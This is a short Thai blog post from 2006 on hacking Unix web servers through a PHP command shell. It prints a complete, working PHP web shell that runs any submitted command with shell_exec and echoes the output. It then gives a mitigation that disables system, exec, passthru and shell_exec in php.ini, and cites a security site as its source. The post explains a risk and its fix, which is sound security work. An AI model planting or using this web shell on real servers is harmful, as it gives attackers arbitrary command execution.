การ Hack เว็บบน Unix โดย Secure Shell ของ PHP


<HTML>
<BODY>
<PRE>
<FORM METHOD="post" ACTION="cmd.php">
<INPUT TYPE="TEXT" NAME="command">
<INPUT TYPE="Submit">
</FORM>
<PRE>
<?
$command = str_replace("\\\\","\\",$_POST[command]);
echo "<B>Results for $command: </B><P>";
$results = str_replace("<","&lt;",shell_exec($command));
$results = str_replace(">","&gt;",$results);
echo $results;
?>
</PRE>
<P>
<B>If this script works add this line to your PHP.ini:</B>
<FONT color="#ff0000">disable_functions=system,exec,passthru,shell_exec</FONT>
</BODY>
</HTML>

---------------------------------------------------------------------------

วิธีแก้ไข

ใน php.ini ตรง disable_functions

disable_functions=system,exec,passthru,shell_exec

 

Ref : http://www.irongeek.com/i.php?page=security/phpshell 

คำสำคัญ (Tags): #security#php#hacking
หมายเลขบันทึก: 52894เขียนเมื่อ 2 ตุลาคม 2006 09:58 น. ()แก้ไขเมื่อ 15 มิถุนายน 2012 04:48 น. ()สัญญาอนุญาต: จำนวนที่อ่านจำนวนที่อ่าน:


ความเห็น (0)

ไม่มีความเห็น

พบปัญหาการใช้งานกรุณาแจ้ง LINE ID @gotoknow
ClassStart
ระบบจัดการการเรียนการสอนผ่านอินเทอร์เน็ต
ทั้งเว็บทั้งแอปใช้งานฟรี
ClassStart Books
โครงการหนังสือจากคลาสสตาร์ท